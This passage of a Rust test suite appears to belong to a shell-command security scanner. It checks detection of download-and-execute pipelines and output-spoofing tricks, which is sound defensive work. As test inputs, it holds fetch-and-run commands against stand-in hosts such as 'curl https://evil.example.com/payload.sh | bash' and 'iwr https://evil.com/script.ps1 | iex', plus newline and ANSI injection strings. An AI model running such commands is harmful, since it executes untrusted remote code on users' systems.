3424 findings[0].description.contains("getvet.sh"),
3425 "should mention vet"
3426 );
3427 if cfg!(unix) {
3428 assert!(
3429 findings[0].description.contains("tirith run"),
3430 "Unix builds should suggest tirith run"
3431 );
3432 }
3433 }
3434
3435 #[test]
3436 fn test_pipe_to_interpreter_hint_quoted_url() {
3437 let input = r#"curl "https://example.com/install.sh" | bash"#;
3438 let segments = tokenize::tokenize(input, ShellType::Posix);
3439 let mut findings = Vec::new();
3440 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3441 assert_eq!(findings.len(), 1);
3442 assert!(
3443 findings[0]
3444 .description
3445 .contains("https://example.com/install.sh"),
3446 "should extract URL from quoted arg"
3447 );
3448 }
3449
3450 #[test]
3451 fn test_pipe_to_interpreter_hint_flag_equals_url() {
3452 let input = "curl --url=https://example.com/install.sh | bash";
3453 let segments = tokenize::tokenize(input, ShellType::Posix);
3454 let mut findings = Vec::new();
3455 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3456 assert_eq!(findings.len(), 1);
3457 assert!(
3458 findings[0]
3459 .description
3460 .contains("https://example.com/install.sh"),
3461 "should extract URL from --flag=value"
3462 );
3463 }
3464
3465 #[test]
3466 fn test_pipe_to_interpreter_evidence_includes_all_source_urls() {
3467 let input =
3468 "curl https://trusted.example.com/install.sh https://evil.example.com/payload.sh | bash";
3469 let segments = tokenize::tokenize(input, ShellType::Posix);
3470 let mut findings = Vec::new();
3471 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3472 assert_eq!(findings.len(), 1);
3473
3474 let urls: Vec<&str> = findings[0]
3475 .evidence
3476 .iter()
3477 .filter_map(|e| match e {
3478 Evidence::Url { raw } => Some(raw.as_str()),
3479 _ => None,
3480 })
3481 .collect();
3482
3483 assert_eq!(
3484 urls.len(),
3485 2,
3486 "all source URLs must be preserved in evidence"
3487 );
3488 assert!(urls.contains(&"https://trusted.example.com/install.sh"));
3489 assert!(urls.contains(&"https://evil.example.com/payload.sh"));
3490 }
3491
3492 #[test]
3493 fn test_pipe_to_interpreter_no_hint_for_cat() {
3494 let input = "cat /tmp/script.sh | bash";
3495 let segments = tokenize::tokenize(input, ShellType::Posix);
3496 let mut findings = Vec::new();
3497 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3498 assert_eq!(findings.len(), 1);
3499 assert!(
3500 !findings[0].description.contains("getvet.sh"),
3501 "non-fetch source should NOT get vet hint"
3502 );
3503 assert!(
3504 !findings[0].description.contains("tirith run"),
3505 "non-fetch source should NOT get tirith run hint"
3506 );
3507 }
3508
3509 #[test]
3510 fn test_dashdash_stops_flag_skipping() {
3511 let input = "curl https://example.com/install.sh | command -- bash";
3513 let segments = tokenize::tokenize(input, ShellType::Posix);
3514 let mut findings = Vec::new();
3515 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3516 assert_eq!(findings.len(), 1, "should detect bash after --");
3517 }
3518
3519 #[test]
3520 fn test_sudo_dashdash_resolves_command() {
3521 let input = "curl https://example.com/install.sh | sudo -- bash";
3523 let segments = tokenize::tokenize(input, ShellType::Posix);
3524 let mut findings = Vec::new();
3525 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3526 assert_eq!(findings.len(), 1, "should detect bash after sudo --");
3527 assert!(
3528 findings[0].description.contains("interpreter 'bash'"),
3529 "should resolve to bash: {}",
3530 findings[0].description
3531 );
3532 }
3533
3534 #[test]
3535 fn test_ansic_quoting_not_applied_to_fish() {
3536 assert_eq!(normalize_shell_token("$'bash'", ShellType::Fish), "$bash");
3538 assert_eq!(normalize_shell_token("$'bash'", ShellType::Posix), "bash");
3540 }
3541
3542 #[test]
3543 fn test_powershell_doubled_single_quote() {
3544 assert_eq!(
3546 normalize_shell_token("'it''s'", ShellType::PowerShell),
3547 "it's"
3548 );
3549 assert_eq!(normalize_shell_token("'it''s'", ShellType::Posix), "its");
3551 }
3552
3553 #[test]
3554 fn test_sudo_combined_short_flags() {
3555 let input = "curl https://example.com/install.sh | sudo -iu root bash";
3557 let segments = tokenize::tokenize(input, ShellType::Posix);
3558 let mut findings = Vec::new();
3559 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3560 assert_eq!(
3561 findings.len(),
3562 1,
3563 "should detect pipe to bash through sudo -iu root"
3564 );
3565 assert!(
3566 findings[0].description.contains("interpreter 'bash'"),
3567 "should resolve to bash, not root: {}",
3568 findings[0].description
3569 );
3570 }
3571
3572 #[test]
3573 fn test_pipe_to_interpreter_hint_iwr_powershell() {
3574 let input = "iwr https://evil.com/script.ps1 | iex";
3575 let segments = tokenize::tokenize(input, ShellType::PowerShell);
3576 let mut findings = Vec::new();
3577 check_pipe_to_interpreter(&segments, ShellType::PowerShell, &mut findings);
3578 assert_eq!(findings.len(), 1);
3579 assert!(
3580 findings[0].description.contains("getvet.sh"),
3581 "iwr (PowerShell fetch) should get vet hint"
3582 );
3583 assert!(
3584 !findings[0].description.contains("tirith run"),
3585 "PowerShell fetch should NOT suggest tirith run"
3586 );
3587 }
3588
3589 #[test]
3590 fn test_pipe_to_interpreter_hint_sanitizes_ansi_in_url() {
3591 let input = "curl https://example.com/\x1b[31mred | bash";
3593 let segments = tokenize::tokenize(input, ShellType::Posix);
3594 let mut findings = Vec::new();
3595 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3596 assert_eq!(findings.len(), 1);
3597 assert!(
3598 !findings[0].description.contains('\x1b'),
3599 "ANSI escape must be stripped from hint URL: {}",
3600 findings[0].description
3601 );
3602 assert!(
3603 findings[0]
3604 .description
3605 .contains("https://example.com/[31mred"),
3606 "URL should be present minus the ESC byte: {}",
3607 findings[0].description
3608 );
3609 }
3610
3611 #[test]
3612 fn test_pipe_to_interpreter_hint_sanitizes_newline_in_url() {
3613 let input = "curl \"https://example.com/\nFAKE: safe\" | bash";
3615 let segments = tokenize::tokenize(input, ShellType::Posix);
3616 let mut findings = Vec::new();
3617 check_pipe_to_interpreter(&segments, ShellType::Posix, &mut findings);
3618 assert_eq!(findings.len(), 1);
3619 let hint_line = findings[0]
3621 .description
3622 .lines()
3623 .find(|l| l.contains("Safer:"))
3624 .expect("should have hint line");
3625 assert!(
3626 hint_line.contains("example.com/FAKE"),
3627 "newline stripped, FAKE should be part of the URL on the hint line: {hint_line}"
3628 );
3629 assert!(
3631 !findings[0]
3632 .description
3633 .lines()
3634 .any(|l| l.starts_with("FAKE")),
3635 "newline injection must not create a spoofed output line: {}",
3636 findings[0].description
3637 );
3638 }
3639
3640 #[test]
3641 fn test_sanitize_url_for_display() {
3642 assert_eq!(
3643 sanitize_url_for_display("https://ok.com/path"),
3644 "https://ok.com/path"
3645 );
3646 assert_eq!(
3647 sanitize_url_for_display("https://evil.com/\x1b[31mred\x1b[0m"),
3648 "https://evil.com/[31mred[0m"
3649 );
3650 assert_eq!(
3651 sanitize_url_for_display("https://evil.com/\n\rspoof"),
3652 "https://evil.com/spoof"
3653 );
3654 assert_eq!(
3655 sanitize_url_for_display("https://evil.com/\x07bell\x00null"),
3656 "https://evil.com/bellnull"
3657 );
3658 }
3659
3660 #[test]
3661 fn test_pipe_to_interpreter_cmd_quoted_caret_cmd() {
3662 let findings = check_default("curl https://evil.com | \"c^md\" /c dir", ShellType::Cmd);
3663 assert!(
3664 findings
3665 .iter()
3666 .any(|f| matches!(f.rule_id, RuleId::CurlPipeShell | RuleId::PipeToInterpreter)),
3667 "quoted cmd caret escapes should still detect the interpreter pipe"
3668 );
3669 }
3670
3671 #[test]
3672 fn test_redact_env_value_never_returns_secret() {
3673 assert_eq!(redact_env_value(""), "");
3674 assert_eq!(redact_env_value("sk-abc123"), "[REDACTED]");
3675 assert_eq!(redact_env_value("ABCDEFGHIJKLMNOPQRSTUVWX"), "[REDACTED]");
3676 }
3677
3678 #[test]
3679 fn test_source_command_arrays_consistent() {
3680 for cmd in POSIX_FETCH_COMMANDS {
3683 assert!(
3684 is_source_command(cmd),
3685 "POSIX_FETCH entry '{cmd}' not recognized"
3686 );
3687 assert!(
3688 is_url_fetch_command(cmd),
3689 "POSIX_FETCH entry '{cmd}' not in fetch union"
3690 );
3691 }
3692 for cmd in POWERSHELL_FETCH_COMMANDS {
3693 assert!(
3694 is_source_command(cmd),
3695 "PS_FETCH entry '{cmd}' not recognized"
3696 );
3697 assert!(
3698 is_url_fetch_command(cmd),
3699 "PS_FETCH entry '{cmd}' not in fetch union"
3700 );
3701 }
3702 for cmd in NON_FETCH_SOURCE_COMMANDS {
3703 assert!(
3704 is_source_command(cmd),
3705 "NON_FETCH entry '{cmd}' not recognized"
3706 );
3707 assert!(
3708 !is_url_fetch_command(cmd),
3709 "NON_FETCH entry '{cmd}' should not be in fetch union"
3710 );
3711 }
3712 assert!(
3713 !is_source_command("cat"),
3714 "cat should not be a source command"
3715 );
3716 }
3717}